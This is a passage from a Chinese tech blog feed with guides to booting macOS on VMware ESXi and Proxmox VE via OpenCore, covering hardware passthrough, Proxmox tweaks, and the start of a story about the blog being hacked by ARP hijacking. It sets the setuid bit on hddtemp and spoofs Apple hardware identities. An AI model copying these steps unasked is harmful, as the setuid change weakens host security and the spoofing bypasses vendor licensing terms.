其实以上问题如果使用 OpenCore 引导的话都不是问题,那么 ESXi 能否使用 OpenCore 引导呢?回答是:可以!下面让国光我缓缓道来。
使用下文分享的 OpenCore EFI 引导,使用 OCC 编辑器添加到 EFI 引导分区下,然后勾选「强制执行 BIOS 设置」:
然后手选择 OC 引导:
「BIOS 首页」 - 「Enter Setup」-「Boot from a file」-「找到 EFI 分区选择 BOOT/BOOTx64.efi」即可成功加载 OC 的引导:
然后也顺利开机,OC 引导成功,机型和三码都被我们成功修正了,CPU 型号也正常识别了:
Bingo! 这样子应该又是全球首发了吧,顺便庆祝我的专项「黑苹果教程」关键词登上谷歌第一:
手动进 Vmware 虚拟机的 BIOS 里面添加我们的 OC 引导,然后将其设置为第 1 启动:
即可正常通过我们的 OC 引导 macOS 系统了
其实 Vmware 下的 OpenCore 并不难,因为 Vmware ESXi 的环境基本上就是完美的,我们使用 OC 只是简单修正一下即可。
下面就分享一下国光我使用本机的虚拟环境定制的 ESXi OpenCore EFI,分享给网友们参考:
EFI 开源项目地址:https://github.com/sqlsec/Vmware-ESXi-OpenCore
主要优化了如下内容:
macOS 13 的主要更新就是这个台前调度了:
显示器正常点亮,因为是 4K 显示器 HiDPi 默认开启:
MacPro 工作站机型的内存需要自己定制一下,解决了内存告警问题,EFI 里面已经定制好了,网友们也可以根据自己的事情情况修改一下:
最后贴一个最终效果图吧,总之目前体验下来和物理黑苹果没啥区别,Apple ID 也正常登录,隔空投送呀、WiFi 蓝牙都正常使,总之就是这么丝滑:
如果本文的一些操作你们都没时间尝试,或者真的搞不明白不会操作的话,可以考虑国光我的这个付费捷径服务。
因为目前国内的伸手党也无处不在,好像我们这些原创者欠他们似的?所以,从现在开始,国光我要放下助人情节,我要变坏,我要叛逆,我要提供付费捷径来合理的知识付费:
| |
既然别人的 ESXi 镜像都可以卖 100 块钱,还很多人去付费购买,为什么我们黑苹果更硬核一点的玩家不可以这样做呢?经济基础决定上层建筑,先活下来,站点维持下去再讨论那些理想啥的吧,就这样决定了!
付费服务包括哪些呢:
闲鱼上扫码下面二维码即可打开服务详情:
本文可能实际上也没有啥技术含量,但是写起来还是比较浪费时间的,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN费用等)
微信 | 支付宝 |
没想到文章加入打赏列表没几天 就有热心网友打赏了 于是国光我用 Bootstrap 重写了一个页面 用以感谢 支持我的朋友,详情请看 打赏列表 | 国光
]]>好像有一段时间没有怎么搞技术了,博客也断更了有一段时间,所以得调整下自己了。一般这个时候我就喜欢收拾家庭卫生,搞搞电脑系统配置,有善始者实繁,好好立 Flag,就好像这些准备好之后真的会认真搞技术一样。具体可以坚持多久我也不清楚,总之先做着看看吧,所以这篇 PVE 虚拟化生产环境配置的文章就此诞生了。
PVE 的全称是 Proxmox Virtual Environment,是一个基于 QEMU/KVM 的 Linux 下的虚拟机,相比于传统的 Vmware 等虚拟机,主要的优点就是支持硬件直通了。硬件直通这意味着可以把你的显卡等设备直通到虚拟机中,给你的虚拟机注入鸡血,再也不用忍受传统虚拟机孱弱的显卡图形性能了!物理机足够强的话,虚拟机的使用体验基本上也不会差的。如果你还有多显示器的话,无需重启切换系统,就可以一边 Windows 下畅玩 3A 大作游戏,一边使用 macOS 进行视频剪辑渲染,再一边使用 Linux 进行编程开发等,真就工作生活两不误,让你的冗余的电脑配置性能得到充分的释放利用。
先看下国光我目前的主要硬件情况:
硬件 | 型号规格 | 备注 |
---|---|---|
CPU | I7-10700 8核16线程 | 10 代是黑苹果的绝唱了 |
内存 | 64GB DDR4 2666Mhz | 内存插满了就得利用起来呀 |
显卡-1 | 蓝宝石 RX6600XT 白金版 | 物理黑苹果或者 PVE Windows 使用 |
显卡-2 | 迪兰恒进 RX470 4GB | 物理黑苹果或者 PVE macOS 使用 |
SSD-1 | WD SN570 1TB | 专门安装 PVE 系统 |
SSD-2 | WD SN550 512GB | 物理黑苹果专用 |
HDD-1 | WD 机械 1TB | 做 Exfat 格式数据中转使用 |
HDD-2 | 希捷 2TB | 做资料存储私有 |
HDD-3/4 | 两个希捷 2TB | 组 Raid1 做重要资料备份 |
显示器-1 | 27寸 4k IPS 显示器 | 可控 PVE macOS 使用 |
显示器-2 | 28寸 4k 144Hz IPS 显示器 | 可供 PVE Windows 使用 |
显示器-3 | 15.6寸 4k 触控便携显示器 | 灵活调度使用 |
妙控板 | 妙控板 2 代 新款 | 物理黑苹果和 PVE 黑苹果使用 |
笔记本 | Macbook Pro 16 寸 2019 款 | 本文就是在这台机器上写的 |
平板 | iPad Pro 11寸 | iPad 也可以进 Web 界面管理 PVE |
键盘搭配 1 | IKBC Poker + 罗技 G102 | PVE macOS 黑苹果使用 |
键鼠搭配 2 | 客制化键盘 + 罗技 G304 + Xbox one 手柄 | PVE Windows 下使用 |
可以看到国光我目前的配置还是很适合做 PVE 的,不体验一下可惜了:
另一个比较巧的是 PVE 目前黑苹果已经算是比较成熟的了,不会像之前我搞双屏笔记本黑苹果那样,完全没有任何可参考的资料,踩了很多坑。下面是国光我学习 PVE 中一些很宝贵的资料,基本上结合这些资料都可以很成功的
PVE 其实是基于 Debian 封装的,但是不建议大家先安装 Debian 再安装 PVE,这样会给自己找很多不必要的麻烦。建议直接使用 PVE 官方的镜像,官方镜像实际上就是集成了 PVE 的最小化 Debian 环境,完全不用自己去配置安装,非常方便。
BIOS 主要关注几个点:
官方 ISO 镜像下载地址:https://www.proxmox.com/en/downloads/category/iso-images-pve
本次安装使用的并不是最新的 7.1 版本而是 7.0-2 版本,B 站司波图的 PVE 黑苹果视频教程提到过这一点,起初我还不信,最后果然翻车了,显卡直通 PVE macOS 的时候 OC 直接卡日志,因为这个是一个虚拟机环境,日志排错起来难度非常高,我直接放弃了,最后我老老实实安装了这个 7.0-2 版本了。
balenaEthcher 直接写入到 U 盘就完事儿了,或者 Windows 下的 Rufus 也都是不错的制作启动盘的工具,硬核的话直接使用原生的 dd 命令写入也可以的。
整个 PVE 安装过程很简单,所以下面只放关键的截图。首先选择一个你准备好安装 PVE 的整个磁盘,我选择的是 1TB 的 SN570:
设置 PVE 的 root 用户的密码,因为 PVE 是开源免费软件,邮箱啥的填自己的是没关系的:
选择好自己的网卡,然后配置 1 个静态 IP,根据自己的实际情况配置网关、DNS 等:
最后没问题的话,点击「Install」安装完成自动重启就安装完毕了:
硬盘速度快的话,整个过程安装只需要 5 分钟左右。
很快啊,我们就安装完成了,重启即可自动进入 PVE 系统,默认是没有图形化界面的,非常简约。虽然我们可以在这里直接登录操作 PVE 系统:
但是这样不是很优雅,所以我们常常上面标记的 Web 地址去管理访问:
至此 PVE 就大功告成了,下面准备来挑战一下 PVE 黑苹果吧。
PVE 安装黑苹果的优势比较明显,因为大家虚拟出的环境基本上是差不多的,所以基本上不挑剔硬件,那么就可以直接使用别人配置好的 OpenCore 引导轮子了,如果追求完美性能的话,也只需要准备 1 个 macOS 免驱的独显即可。
开源项目地址:https://github.com/thenickdude/KVM-Opencore/releases
直接下载解压然后上传到 PVE 的 ISO 镜像库即可
这种方式用于在线安装 macOS 的原版镜像,优点是纯净,但是对网速比较差的网友不是很友好。
开源项目地址:https://github.com/thenickdude/OSX-KVM
需要我们自己手动编译生成 Monterey-recovery.img 恢复镜像,使用 Linux 或者 macOS 直接 make 编译即可:
# 拉取项目git clone https://github.com/thenickdude/OSX-KVM.git# 编译恢复镜像cd scripts/montereymake Monterey-recovery.img# 如果你网速很快的话 直接构建完整版镜像也是 OK 的 (可选操作)make Monterey-full.img
最后上传 Monterey-recovery.img 到 PVE 的 ISO 镜像库即可
对于我们黑苹果职业玩家来说,出来工作随身带个“锤子”是很正常的,所以大家基本上都是有黑苹果镜像的,不过呢我们的镜像是 dmg 格式的后缀,PVE 并不支持 dmg 后缀的镜像上传。解决方法也很简单,直接将镜像重命名为 iso 即可,对,就是这么简单,甚至都不需要使用 dmg2img 这种工具。
最后上传 macOS-12-3.iso 到 PVE 的 ISO 镜像库即可
目前一共用到了 3 个镜像,分别是:
国光我偏向于本地安装,速度快一点,这个因人而异,大家自行抉择。
为了避免在 macOS 引导期间出现引导循环死机,得先进入 PVE shell 环境运行如下命令:
echo "options kvm ignore_msrs=Y" >> /etc/modprobe.d/kvm.conf && update-initramfs -k all -u
修改完成重启 PVE:
下面是 PVE 虚拟机创建的一些主要细节,PVE 会给你的虚拟机分配一个 VM ID,这个 ID 后面后续会用到:
先添加一个 OpenCore 的引导镜像,系统类别选择「Other」:
显卡选择「VMWare 兼容」,开启 Qemu 代理,BIOS 选择「QVMF UEFI」,机器选择「q35」,详细细节参考下图:
硬盘选择「VirtIO Block」,缓存选择「Write back 不安全」,磁盘大小根据你的需要进行设置,其他默认即可:
CPU 设置好核心数(建议 2、4、8),类别选择「Penryn」,勾选「启用 NUMA」,其他全部默认即可:
根据自己的实际配置分配内存,macOS 12 的话建议至少 8GB 内存:
网络这里选择「VirtIO 半虚拟化」:
创建完虚拟机后先不要着急开机,我们再添加一个我们的之前上传好的黑苹果本地的网站镜像:
如果没有黑苹果本地完整镜像,这一步添加之前的 Monterey-recovery.img 官方恢复镜像也是完全 OK 的(我们常说的在线安装形式)。
我们之前 macOS 的虚拟机的 ID 为 100,所以我们可以通过这个 ID 直接来编辑虚拟机的配置( Web 界面功能有限,直接编辑配置可以更灵活定制):
nano /etc/pve/qemu-server/100.conf
根据自己的 CPU 类别,在第 1 行添加如下配置:
args: -device isa-applesmc,osk="ourhardworkbythesewordsguardedpleasedontsteal(c)AppleComputerInc" -smbios type=2 -device usb-kbd,bus=ehci.0,port=2 -cpu host,kvm=on,vendor=GenuineIntel,+kvm_pv_unhalt,+kvm_pv_eoi,+hypervisor,+invtsc
args: -device isa-applesmc,osk="ourhardworkbythesewordsguardedpleasedontsteal(c)AppleComputerInc" -smbios type=2 -device usb-kbd,bus=ehci.0,port=2 -cpu Penryn,kvm=on,vendor=GenuineIntel,+kvm_pv_unhalt,+kvm_pv_eoi,+hypervisor,+invtsc,+pcid,+ssse3,+sse4.2,+popcnt,+avx,+avx2,+aes,+fma,+fma4,+bmi1,+bmi2,+xsave,+xsaveopt,check
接着修改我们的 CD 光盘配置,删掉「media=cdrom」换成「cache=unsafe」,最终的配置效果如下:
直接启动我们配置好的虚拟机,可以看到了熟悉的界面:
那么下面就像黑苹果那样正常操作走一遍流程吧。
先进入磁盘工具,选择我们之前创建的 300GB 的磁盘,正常擦除为 APFS 格式:
后面就是常规的安装了,没啥可说的了:
对这个安装不熟悉的网友可以参考我的这篇文章:安装 macOS · 国光的黑苹果安装教程
最后很顺利的就成功安装进入系统了:
可以看到目前的显卡还是没有驱动的,但是问题不大,我们下面的文章接着优化。
PVE 因为没有有桌面的原因,每次开启启动都需要通过 Web 界面来启动,我们也可以直接将虚拟机设置开机自启动:
这样在直通显卡的操作后也会和物理机黑苹果有差不点多的体验。
安装好系统后就可以不用使用黑苹果镜像了,可以直接移除掉了:
移除镜像后重启。可以看到没有了之前的安装 macOS 选项了,直接就可以选择进入 Macintosh 已经安装好系统的磁盘:
回到之前的一张图,可以看到我们的虚拟机默认还挂载了 OpenCore 的 ISO 镜像:
大家可以把他比作是 USB 安装盘,我们以后每次开机总不能都插着 U 盘(ISO)启动吧,这样一点也不优雅,而且这个 ISO 镜像我们也不方便修改定制,所以需要把这个 OpenCore 的 ISO 镜像的 EFI 引导文件夹拷贝到硬盘当中。
使用 OCC 挂载硬盘盒 ISO 光盘后,直接将 ISO 光盘的 EFI 拷贝到硬盘里面即可:
拷贝完成后关机,就可以移除 OpenCore ISO 镜像了:
移除后重启,之后我们就可以直接编辑本地的 EFI 配置文件了,就像物理机黑苹果那样:
有黑苹果基础的同学还可以直接优化 EFI 配置,或者升级 OC 版本,没有基础的同学也没有关系,可以参考我写的这个教程慢慢来:国光的黑苹果安装教程:手把手教你配置 OpenCore
细心的小伙伴会发现,目前通过 PVE 的 Web 界面操作我们的键鼠实际上是有延迟的,毕竟还是走得 VNC 网络传输协议,为了更好的体验,我们可以分配一个键鼠直通到 PVE 虚拟机中:
PVE 支持几种 USB 设备添加,下面简单的挑着解释一下:
因为国光我不怎么拔插这些 USB 设备,所以我更偏向于后者,使用 USB 端口:
接下来我们要准备将其他硬件直通到 PVE 虚拟机了,要实现这个功能就得开启 IOMMU 了,并关闭 PVE 物理机显卡占用,直接编辑配置下 PVE 的 GRUB 即可:
nano /etc/default/grub
将默认的GRUB_CMDLINE_LINUX_DEFAULT="quiet"
根据自己的 CPU 替换成如下内容即可:
GRUB_CMDLINE_LINUX_DEFAULT="quiet intel_iommu=on iommu=pt pcie_acs_override=downstream,multifunction nofb textonly nomodeset video=efifb:off"
GRUB_CMDLINE_LINUX_DEFAULT="quiet amd_iommu=on iommu=pt pcie_acs_override=downstream,multifunction nofb textonly nomodeset video=efifb:off"
编辑完成后,更新一下 grub
update-grub
更新完成后重启 PVE 物理机,可以看到我们的物理机确实已经不占用显卡了,开机的界面都变了:
此时已经无法在物理机上操作 PVE 了(不过我们本来也用不到),因为之前安装配置静态 IP 的原因,所以我们依然可以通过 Web 端来正常管理我们的 PVE 虚拟机。
关掉显卡后的,我们就不可以通过 Web 界面走 VNC 协议来操作 PVE 虚拟机了:
所以下面第需要将物理显卡直通到虚拟机了。
因为 OC 引导黑苹果的话,使用 RX5500/5600/5700/6600/6800/6900 新的免驱系列显卡启动过程中会黑屏,所以先需要编辑我们的 OC 配置文件,在启动项添加 agdpmod=pikera
参数:
保存配置文件后关闭 PVE 黑苹果虚拟机。
添加 PCI 设备,找到我们的 RX 6600XT,这里没有显示出来,但是 Navi 23 确实是这个显卡的架构:
然后勾选全部选项:
RX 6600XT 直通很简单,此时已经可以丝滑的像物理机那样体验 macOS 了:
显卡工作了,感觉虚拟机瞬间流畅多了:
不过从图上可以看出来,目前内存这块还是未知的,速率也看不到,不要慌,我们后面来自定义内存一下就行了。
5000/6000 系列直通很顺利哎,试试看能不能再直通一个 RX 470 显卡,因为已经有 6600XT 了,所以不勾选「主 GPU」:
然后直接开机,居然也这么顺利:
核显不可以像上面独显那样直接就直通过去,直接就是模仿上述操作那样,直通过去的话,实际上核显并不能真正的工作。那么在 macOS 下怎么测试核显是否正常工作呢?国光我是使用随航测试的,因为随航很吃核显性能,如果随航都流畅丝滑工作的话,那么核显一定也是 OK 的。
PVE shell 环境下操作:
echo "vfio" >> /etc/modulesecho "vfio_iommu_type1" >> /etc/modulesecho "vfio_pci" >> /etc/modulesecho "vfio_virqfd" >> /etc/modules
接着添加 intel 核显模块(驱动)黑名单,即让 GPU 设备在下次系统启动之后不使用这些驱动,把设备腾出来给vfio驱动用:
echo "blacklist snd_hda_intel" >> /etc/modprobe.d/pve-blacklist.confecho "blacklist snd_hda_codec_hdmi" >> /etc/modprobe.d/pve-blacklist.confecho "blacklist i915" >> /etc/modprobe.d/pve-blacklist.conf
然后更新内核重启机器:
update-initramfs -ureboot
检查之前配置的 VFIO 模块是否正常加载:
lsmod | grep vfio
上图这样表示是成功加载了的。
lspci -nn | grep Intel
从上图可以查询到:
8086:9bc5
8086:06c8
将上述查询到的两个 ID 添加到 vfio.conf 文件中:
echo "options vfio-pci ids=8086:9bc5,8086:06c8" >> /etc/modprobe.d/vfio.conf
上述配置完成后,我们就可以再 PVE Web 界面里面将核显添加到 PVE 黑苹果虚拟机下了:
测试了 N 次,发现只需要勾选「所有功能」即可:
因为这套 PVE 的 OC EFI 文件配置的默认机型是 iMac Pro1,1 这种是专门为无核显优化的,所以需要我们先将机型改为 iMac 20,1 这种更接近我们的实际硬件配置:
使用 Hackintool 工具拷贝出核显的设备地址:
然后使用 OCC 里面注入你的核显的显示 ID,玩过黑苹果的人可能会注入无头 ID (仅计算 ID),经过国光我多次测试,如果注入仅计算 ID 的话,那么此时的核显必然无法使用随航,具体原因不详:
另外一个测试就是多独显+核显的情况下,核显也无法正常工作,但是单个独显的情况下就是正常的,最终核显成功随航的效果如下:
因为我的 BCM94360CD 插的也是 PCIE 接口,所以我们可以在 PCI 设备里面找到我们的无线网卡:
也给他添加到虚拟机中:
要想实现免驱网卡的所有功能,光有 WiFi 是不够的,蓝牙也得需要直通进去,蓝牙走的是 USB 协议,所以我们可以在 USB 设备中添加我们的蓝牙设备:
记得取消 USB3 勾选:
WiFi、蓝牙 隔空投送均可以正常工作:
默认的内存为单条 16GB 内存,而且速度显示是未知的,看起来好奇怪哦:
使用 OC 简单操作一下,将这个 16GB 内存自定义为 4 个 4GB 内存:
改完重启看看效果,舒服了,看上去和白苹果一样:
macOS 12.3 之后,非苹果自家出的卡性能多多少少都大打折扣,不过兵来将挡水来土掩,我们可以把我们的 RX 6600XT 仿冒成 白苹果的 W6600X 专业卡来提高性能,操作也不复杂,详细可见下方 OC 的显卡属性配置:
下面的仿冒配置参数供网友参考复制:
<key>PciRoot(以你的实际显卡路径为准)</key><dict> <key>@0,name</key> <string>ATY,Henbury</string> <key>@1,name</key> <string>ATY,Henbury</string> <key>@2,name</key> <string>ATY,Henbury</string> <key>@3,name</key> <string>ATY,Henbury</string> <key>ATY,DeviceName</key> <string>W6600X</string> <key>ATY,EFIVersion</key> <string>01.01.270</string> <key>ATY,FamilyName</key> <string>Radeon Pro</string> <key>device_type</key> <string>ATY,HenburyParent</string> <key>model</key> <string>AMD Radeon RRO W6600X</string> <key>name</key> <string>ATY,Henbury</string></dict>
最后的效果如下:
其实音频设备不添加的话也没有关系,默认我可以直通的两个独显是可以通过 DP/HDMI 传输音频数据的,也可以通过蓝牙来传输音频数据:
或者使用下图中这种 USB 声卡也是可以的:
UBS 设备直通到虚拟机前面也说过了,非常方便简单:
最后的效果如下:
默认的 EFI 引导的分辨率为 1920x1080@30
,这样在 4k 显示器上图标就很糊,很不优雅,我们只需要将控制台分辨率调整为:Max
,然后将 UIScale 改为 2
就可以在 4k 显示器上完美输出了:
默认的 EFI 引导的等待时间为0
,这意味着不人为回车干预的话,会一直停留在 OC 的引导界面,这样不符合 PVE 的 风格,我们可以手动改一下等待时间为 5
秒,然后顺便取消一下平时不怎么使用的工具:
可以看出这个项目的默认 OC 还是很混乱的,这不能忍:
给他升级一下最新的 OC 0.7.9 然后精简一下吧,下面是国光我精简优化的思路:
ACPI 设置
只留几个实际加载的 SSDT:DTGP、EC、EHCI、PLUG
删除「删除」和「补丁」中没有加载的选项
内核设置
其他优化的话上文中都差不多提到了,目前感觉就上述两个部分需要调整的最多。
升级最新的 OC 0.7.9 版本,优化了 4k 屏幕显示,去除无用的引导项目,默认 5 秒自动进入 macOS 系统:
本次优化后的 OpenCoren 引导配置文件也开源了,感兴趣的朋友可以去 Github 查收
Github 项目地址:https://github.com/sqlsec/PVE-OpenCore
i7-10700 分配 4 核 CPU 的情况下,跑分情况,单核跑分:多核跑分:
单核跑分和物理黑苹果跑分对比损耗大概 **4%**:多核跑分因为我们直接砍了一半核心的原因,所以多核跑分也下降了近 1 半。
UHD 630 核显直通的跑分情况,OpenCL 跑分: 5043 Metal 跑分:4863,和物理核显相比损耗大概:3%
RX 6600XT 直通并仿冒白苹果 W6600X 的跑分情况,OpenCL 跑分:69022 Metal 跑分:90245 和物理独显相比损耗大概:3%
RX 470 直通的跑分情况,OpenCL 跑分: 35310 Metal 跑分:40967,这个 RX 470 好像和物理独显相比没有损坏,五五开了应该。
这个之前直通核显的时候测试过了,随航也是正常使用的:
三码正常的话,信息、iCloud、查找、应用商店这些应该也都很丝滑:
macOS 12 新功能:隔空播放接收器,iOS、iPad OS 也可以直接投屏到 PVE 黑苹果中:
macOS 12.3 新功能通用控制也是正常使用的,可以直接 Macbook Pro、iMac、iPad 共享一套键鼠:
说了这么多,肯定又小伙伴要跃跃欲试了,但是 PVE 黑苹果真的没有缺点了吗?当然不是,有!而且还不少。
假如你 OC 不熟悉不小心改错了本地硬盘的 EFI(没错 就我自己了),这个时候不要慌,我们重新编辑配置文件:
nano /etc/pve/qemu-server/100.conf
将之前分离的 OpenCore ISO 光盘重新添加回来即可:
ide0: local:iso/OpenCore-v16.iso,cache=unsafe
然后在选项里面调整一下引导顺序,将 OpenCore 光盘移动到第一位:
这样应该可以成功进系统,然后直接纠正之前改错的 EFI 就行了。
或者你直接准备一个物理 USB U盘,里面放着自己对应的 OC EFI,直接添加物理 USB 设备引导也是完全 OK 的,这个修复思路和物理黑苹果一样。
系统更新的时候显示器会黑屏很长很长时间,这个时候你可能因为更新挂了,但是添加虚拟显示通过 PVE 来看又发现是正常的:
耐心等待系统更新完成即可,不能急躁。
Intel Power Gadget 无法正常工作,CPU 温度、频率以及核显频率都无法查看:
不过我们可以借助第三方的工具,比如 iStat Menus 这种来看 CPU 频率:
经典的双硬解查看软件,Video Proc 闪退:
这个是查看双硬解码的,不过从 Hackintool 结果来看硬解应该都是正常的:
第三方工具均无法正常识别各项传感器参数:
这个实际上上文中直通核显的部分提到过,这里再啰嗦一下。实际上对于黑苹果来说,核显仅计算模式是最完美的,也最符合白苹果 iMac 的调度策略的,但是 PVE 黑苹果下如果开启仅计算的话,核显工作就不正常,表现为随航无法显示画面,所以只能给开启核显输出的正常 ID 了:
虽然核显也驱动了,但是平台 ID 依然是未知的:
虽然这个有点大可不必,都 PVE 了,谁还在意睡眠唤醒呀,但是还是要说一下,PVE 确实无法正常睡眠唤醒。点击睡眠后,在 PVE 控制台可以看到 PVE 虚拟机处于暂停的状态:
得我们手动点击「再继续」才可以,但是大概率会出现黑屏的情况,无法正常继续,所以这块就酱吧,不搞这么细了。不过手动在 PVE 控制台中暂停你的 PVE 黑苹果虚拟机是完全 OK 的,此时你的黑苹果虚拟机画面会卡主不动,真的和传统的虚拟机一样。
总的来说 PVE 黑苹果难度蛮高的,除了要求你有 Linux 基础之外,最好还得懂黑苹果技术,否则优化对你来说是一件很困难的事情,当然默认的 PVE 开源项目也可以直接使用,但是能用和用的舒服之间的差距还是蛮大的。
下面简单总结下 PVE 黑苹果优缺点
优点
缺点
实际上最难的就是 macOS 安装了,PVE 安装 Windows 10 对比一下简直就是小菜一碟了。
我们虚拟机创建的是硬盘,但是 Windows 默认无法识别,需要我们先手动安装了驱动才能识别:
所以需要我们先额外给虚拟机挂载一个专门的 ISO 镜像包,这个镜像包里包含有一系列可能需要的驱动。
到镜像库先上传我们的 Windows 10 镜像和上面下载的 virtio 镜像:
这个没啥可说的,网上很多,我就不一一贴图了,直接看我最后的硬件配置吧:
可以看到添加了两个 ISO 光盘,为了方便我这里还直通了 1 个 USB 键盘。
将 Windows 10 安装盘优先引导启动:
然后很顺利的进入安装界面:
我们会卡在下面这一步:
选择光盘里面的驱动加载即可:
然后安装一下这个驱动:
后没有啥难点了,正常安装就行了:
Windows 10 老传统了,安装完先更新一波:
但是这样更新远远不够,我们查看设备管理器依然发现了有感叹号的设备,解决方法很简单,依然从之前的 virtio ISO 光盘里面搜索安装驱动就行了:
移除之前的两个 ISO 光盘,然后将 RX 6600XT 和键鼠直通到 Windows 10 虚拟机里面:
然后去 AMD 官网下载对应的显卡驱动即可:https://www.amd.com/zh-hans/support
哇舒服了,这个 4k 高刷显示器在 Windows 下终于跑满了,之前在 macOS 下最高只能跑 100Hz:
# 注释企业源echo "#deb https://enterprise.proxmox.com/debian/pve bullseye pve-enterprise" > /etc/apt/sources.list.d/pve-enterprise.list# PVE 软件源更换wget https://mirrors.ustc.edu.cn/proxmox/debian/proxmox-release-bullseye.gpg -O /etc/apt/trusted.gpg.d/proxmox-release-bullseye.gpgecho "deb https://mirrors.ustc.edu.cn/proxmox/debian/pve bullseye pve-no-subscription" > /etc/apt/sources.list.d/pve-no-subscription.listecho "deb https://mirrors.ustc.edu.cn/proxmox/debian/ceph-pacific bullseye main" > /etc/apt/sources.list.d/ceph.listsed -i.bak "s#http://download.proxmox.com/debian#https://mirrors.ustc.edu.cn/proxmox/debian#g" /usr/share/perl5/PVE/CLI/pveceph.pm# Debian 系统源更换sed -i.bak "s#ftp.debian.org/debian#mirrors.aliyun.com/debian#g" /etc/apt/sources.listsed -i "s#security.debian.org#mirrors.aliyun.com/debian-security#g" /etc/apt/sources.listecho "deb http://download.proxmox.com/debian/pve bullseye pve-no-subscription" >> /etc/apt/sources.list# 更新测试一下apt update
每次登录看到这个是不是有点烦人:
执行如下命令即可删除:
# 修改 JS 源码sed -Ezi.bak "s/(Ext.Msg.show\(\{\s+title: gettext\('No valid sub)/void\(\{ \/\/\1/g" /usr/share/javascript/proxmox-widget-toolkit/proxmoxlib.js# 重启 PVE 服务systemctl restart pveproxy.service
执行完成后,浏览器强制刷新缓存一下就可以了。
PVE 默认只可以看到下面这些基本信息,但是看不到具体的温度:
这都能忍,赶紧来安装配置一下。
lm-sensors 用于 CPU 以及主板温度检测,安装起来也很简单:
apt install lm-sensors -y
安装完成后就可以在命令下查看 CPU 以及主板温度了:
hddtemp 用于 硬盘温度检测,安装起来也很简单:
apt install hddtemp -y
安装完成查看硬盘温度:
root@pve:~# hddtemp /dev/sd?/dev/sda: WDC WD10EZEX-08M2NA0: 30°C/dev/sdb: ST2000DM006: 26°C
因为我们后面需要放到 Web 界面显示,所以需要改这个软件 Web 端的权限:
chmod +s /usr/sbin/hddtemp
vim /usr/share/perl5/PVE/API2/Nodes.pm
搜索 pveversion
位置,加入下面 2 行代码:
$res->{cpu_temperatures} = `sensors`; # 添加此行以获取 CPU 与主板温度$res->{hdd_temperatures} = `hddtemp /dev/sd?`; # 添加此行以获取硬盘温度
最终效果如下:
vim /usr/share/pve-manager/js/pvemanagerlib.js
搜索到 widget.pveNodeStatus
位置,修改 height: 300
,每多一个硬盘,那么这个数据得增加 20,大家这里可以一个个尝试,我暂定修改为:400
,最终效果如下:
继续搜索 pveversion
,添加 2 个item,根据自己上面显示的 CPU 核心数自行修改,我的是 8 核心,改成如下:
{ itemId: 'cpu_temperatures', colspan: 2, printBar: false, title: gettext('CPU温度'), textField: 'cpu_temperatures', renderer:function(value){ const c0 = value.match(/Core 0.*?\+([\d\.]+)Â/)[1]; const c1 = value.match(/Core 1.*?\+([\d\.]+)Â/)[1]; const c2 = value.match(/Core 2.*?\+([\d\.]+)Â/)[1]; const c3 = value.match(/Core 3.*?\+([\d\.]+)Â/)[1]; const c4 = value.match(/Core 4.*?\+([\d\.]+)Â/)[1]; const c5 = value.match(/Core 5.*?\+([\d\.]+)Â/)[1]; const c6 = value.match(/Core 6.*?\+([\d\.]+)Â/)[1]; const c7 = value.match(/Core 7.*?\+([\d\.]+)Â/)[1]; return `Core 0: ${c0} °C | Core 1: ${c1} °C | Core 2: ${c2} °C | Core 3: ${c3} °C | Core 4: ${c4} °C | Core 5: ${c5} °C | Core 6: ${c6} °C | Core 7: ${c7} °C` }},{itemId: 'hdd-temperatures',colspan: 2,printBar: false,title: gettext('硬盘温度'),textField: 'hdd_temperatures',renderer: function(value) { value = value.replace(/Â/g, ''); return value.replace(/\n/g, '<br>') }}
最终效果如下:
最后保存文件,虽然代码看上去缩进不太对啊,还好我不是强迫症,引用罗老师那句话:又不是不能用!
systemctl restart pveproxy
执行完成后,浏览器强制刷新缓存一下就可以了。
最终效果如下:
细心的小伙伴发现貌似还是少了 NVME 硬盘温度,可以不愧是你,其实之前通过 sensors 命令已经可以看到 NVME 硬盘温度了,那么如何让 NVME 硬盘温度在网页上显示呢?其实原理还是差不多的,不清楚大家为啥没研究这个,国光我也不想折腾了,前端水平本身就不太行,而且我也不是强迫症,就酱了,拜拜。
实际上 PVE 搞起来的话,只要键鼠、显示器足够,同时运行 Linux、macOS、Windows 是非常容易的事情,但是有 macOS 了谁还要 Linux?(拉仇恨),所以下面就演示一下 Windows 10 和 macOS 同时工作的最终形态:
本文可能实际上也没有啥技术含量,但是写起来还是比较浪费时间的,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN 费用等)
微信 | 支付宝 |
没想到文章加入打赏列表没几天 就有热心网友打赏了 于是国光我用 Bootstrap 重写了一个页面用以感谢支持我的朋友,详情请看 打赏列表 | 国光
]]>回想起上次博客被黑,还是在上次,不禁令人感慨。细心的网友发现我这里用了“又”字,确实,我博客在几年前被黑过一次,和这次有点异曲同工,但这次更加精彩一点,下面容国光我一一说来。
众所周知,作为一名信息安全从业者,只有我们黑别人的份,别人要是想黑掉我们的话,难度还是很高的。针对黑客的直接攻击比较有效的方法就是使用 0day 了,可以是系统级别的 0day 也可以是浏览器级别的 0day,这样成功率会比较高,除此之外想不到其他可以针对黑客的有效攻击了。
但是细心的网友肯定会发现了,前面我使用了“直接”这个词,没错, 你猜到了,我博客被黑的两次都是被间接攻击拿下的,第一次是 C 段,这一次是旁站。下面简单回顾下第一次被黑的经过。
第一次博客被挂黑客大约在 17 年左右,也是群里的师傅“友情测试”的。那个时候我的博客域名还没有备案,没法使用正规的阿里云服务器,所以只能使用不正规的香港 VPS,香港的 VPS 同 C 段下,很多黄赌毒的网站,十分脆弱不堪,那个时候使用“椰树”这种批量一键渗透攻击,都可以轻松 getshell 几个网站,然后那个师傅直接在 C 段的服务器上使用了 NetFuke 来进行 C 段 ARP 嗅探劫持:
然后所有访问我博客的流量都会被抓到黑客制作的“黑页”上面,第一次就是这样没了的。
国光我的博客坚持更新 5 年多了,树大招风,流量高的同时,我的博客也没少被攻击过,每天可以看到各种各样的爬虫、RSS 订阅或者扫描器的日志记录信息:
日均独立 IP 2k+ 个,单月独立 IP 8w+ 个:
因为经常看到各种 AWVS 日志,国光我一气之下写了一些特征页面来嘲讽这些只会用扫描器的脚本小子:
